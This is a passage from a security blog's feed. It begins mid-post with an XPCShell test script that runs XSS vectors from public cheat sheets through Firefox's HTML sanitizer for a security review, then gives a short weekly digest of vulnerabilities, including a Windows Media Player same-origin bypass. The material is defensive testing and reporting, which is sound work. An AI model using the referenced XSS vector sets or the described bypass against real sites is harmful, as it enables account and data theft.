&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;XXX HTML here&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sanitizeFlags&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With this prototype, I could easily loop around a dataset of HTML vectors.
For this I chose the vectors from the &lt;a href="http://html5sec.org"&gt;html5 security cheat sheet&lt;/a&gt;
and &lt;a href="http://ha.ckers.org/xss.html"&gt;RSnake's old XSS cheat sheet&lt;/a&gt;
(thank you guys!)&lt;/p&gt;
&lt;p&gt;Thankfully the html5 security cheat sheet has its attacks in a
&lt;a href="http://html5security.googlecode.com/svn/trunk/items.json"&gt;JSON file&lt;/a&gt;.
Extracting them was as easy as taking this dataset and joining the vectors
with the file that contains the actual attack &lt;a href="http://html5security.googlecode.com/svn/trunk/payload.json"&gt;payload&lt;/a&gt;,
(i.e., JavaScript alerts and other triggers in various encodings). The
XPCShell comes with a &lt;code&gt;load()&lt;/code&gt; function which makes it very easy to include these JSON files.&lt;/p&gt;
&lt;p&gt;The full test then looks a bit like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Ci&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Components&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;interfaces&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Cc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Components&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;classes&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// gives us an items object:&lt;/span&gt;
&lt;span class="nx"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;html5sec_items.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// possible payloads for within those vectors (items[x].data)&lt;/span&gt;
&lt;span class="nx"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;html5sec_payloads.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// from html5sec.org&amp;#39;s import.js:&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="c1"&gt;// replace the payload templates&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;payloads&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RegExp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;gm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;payloads&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;attachment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;attachment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;attachment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;attachment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;payloads&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// initialize parser object&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Cc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;@mozilla.org/parserutils;1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;getService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Ci&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nsIParserUtils&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sanitizeFlags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SanitizerCidEmbedsOnly&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SanitizerDropForms&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SanitizerDropNonCSSPresentation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// sanitize vector&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sanitizeFlags&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;sanitized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// results for html5sec cheat sheet&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mini_items&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sanitized&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sanitized&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;xss_rsnake.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// array of rsnake xss cheat sheet entries&lt;/span&gt;
&lt;span class="nx"&gt;rsnake_results&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;xss_rsnake&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xss_rsnake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sanitizeFlags&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;rsnake_results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;xss_rsnake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sanitized&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;collected_results&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mini_items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rsnake_results&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;collected_results&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// full output as JSON&lt;/span&gt;

&lt;span class="c1"&gt;// html-strings to stdout:&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;collected_results&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sanitized&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After sanitizing all of these attack vectors, I had to review the
results. Since this is my first dive into XPCShell tests, I didn't dare
to hook all the logic behind script parsing, image loading, event
handler registration and so forth. Instead I reviewed the sanitized
output by hand (a &lt;a href="http://jsoneditoronline.org/"&gt;JSON capable editor&lt;/a&gt;
helps a lot). After that I also put the combined output into a single HTML
file and opened it in the browser. The Firefox Developer Console
helped me confirm that no resources were loaded and no scripts executed.&lt;/p&gt;
&lt;p&gt;This means that the sanitizer successfully stripped all the scripts
tags, self-submitting forms and event handlers:
Security Review done!&lt;/p&gt;
&lt;p&gt;&lt;small&gt;For convenience, I have uploaded my test results as a JSON file. It is
an &lt;a href="http://pastebin.mozilla.org/2648340"&gt;array of objects&lt;/a&gt; in the format &lt;code&gt;{"data": "...", "sanitized": "..."}&lt;/code&gt;.&lt;/small&gt;&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Week 29 2013</title><link href="https://frederik-braun.com/2013-wk-29.html" rel="alternate"></link><published>2013-07-21T00:00:00+02:00</published><updated>2013-07-21T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2013-07-21:/2013-wk-29.html</id><summary type="html">&lt;p&gt;In our Security Disaster of the Week, H. Marco and Ismael Ripoll found
out that &lt;em&gt;all&lt;/em&gt; applications statically linked and compiled via glibc
since 2006 have their pointers protected by being
&lt;a href="http://hmarco.org/bugs/CVE-2013-4788.html"&gt;XORed with zero&lt;/a&gt;.
Exploit mitigation at its finest.&lt;/p&gt;
&lt;p&gt;My favorite type of browser vulnerability remains the
good old Same-Origin …&lt;/p&gt;</summary><content type="html">&lt;p&gt;In our Security Disaster of the Week, H. Marco and Ismael Ripoll found
out that &lt;em&gt;all&lt;/em&gt; applications statically linked and compiled via glibc
since 2006 have their pointers protected by being
&lt;a href="http://hmarco.org/bugs/CVE-2013-4788.html"&gt;XORed with zero&lt;/a&gt;.
Exploit mitigation at its finest.&lt;/p&gt;
&lt;p&gt;My favorite type of browser vulnerability remains the
good old Same-Origin Policy (SOP) bypass: Usually the SOP enforces a
virtual boundary in which web sites are allowed to include content from
other domains (scripts, displaying images) but prevented from accessing
the actual content. If the SOP is bypassed, your gmail inbox leaks. A
good example is 
&lt;a href="http://www.rawsec.net/wmp-vulnerability.html"&gt;Armin Razmdjou's&lt;/a&gt; finding:
Attackers can abuse a playlist API in the Windows Media Player browser plugin to
read contents from arbitrary web pages. Specifying a URL within the same
origin that redirects to the interesting site will satisfy WMP's SOP.
Reading the playlist's content then reveals the HTML source code. Tada!&lt;/p&gt;
&lt;p&gt;Zane Lackey and Omar Ahmed of the Etsy Security Team
&lt;a href="http://codeascraft.com/2013/07/16/reducing-the-roots-of-some-evil/"&gt;analysed SSL traffic&lt;/a&gt;
to see which CAs are actually required in their day to day business.
Their data could be used to reduce the set of trusted CAs to a minimum.&lt;/p&gt;
&lt;p&gt;Matt Wobensmith of Mozilla's QA started submitting code to the &lt;a href="http://webappsec-test.info/"&gt;Content Security
Policy (CSP) test suite&lt;/a&gt; for the W3C Web Application Security Working Group, Thanks!&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>The First Post</title><link href="https://frederik-braun.com/first-post.html" rel="alternate"></link><published>2013-07-16T00:00:00+02:00</published><updated>2013-07-16T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2013-07-16:/first-post.html</id><summary type="html">&lt;p&gt;This is the first post, expect something meta.&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is the first post of hopefully many. This blog will share
recent events within the security community and Mozilla in general.
My posts will be short digests, bundling old and new gossip in a
short, weekly write-up.
Naturally, some of the work presented is not actually done by me. I'm
just the messenger :) &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I have moved away from the weekly digests format.&lt;/p&gt;</content><category term="misc"></category></entry></feed>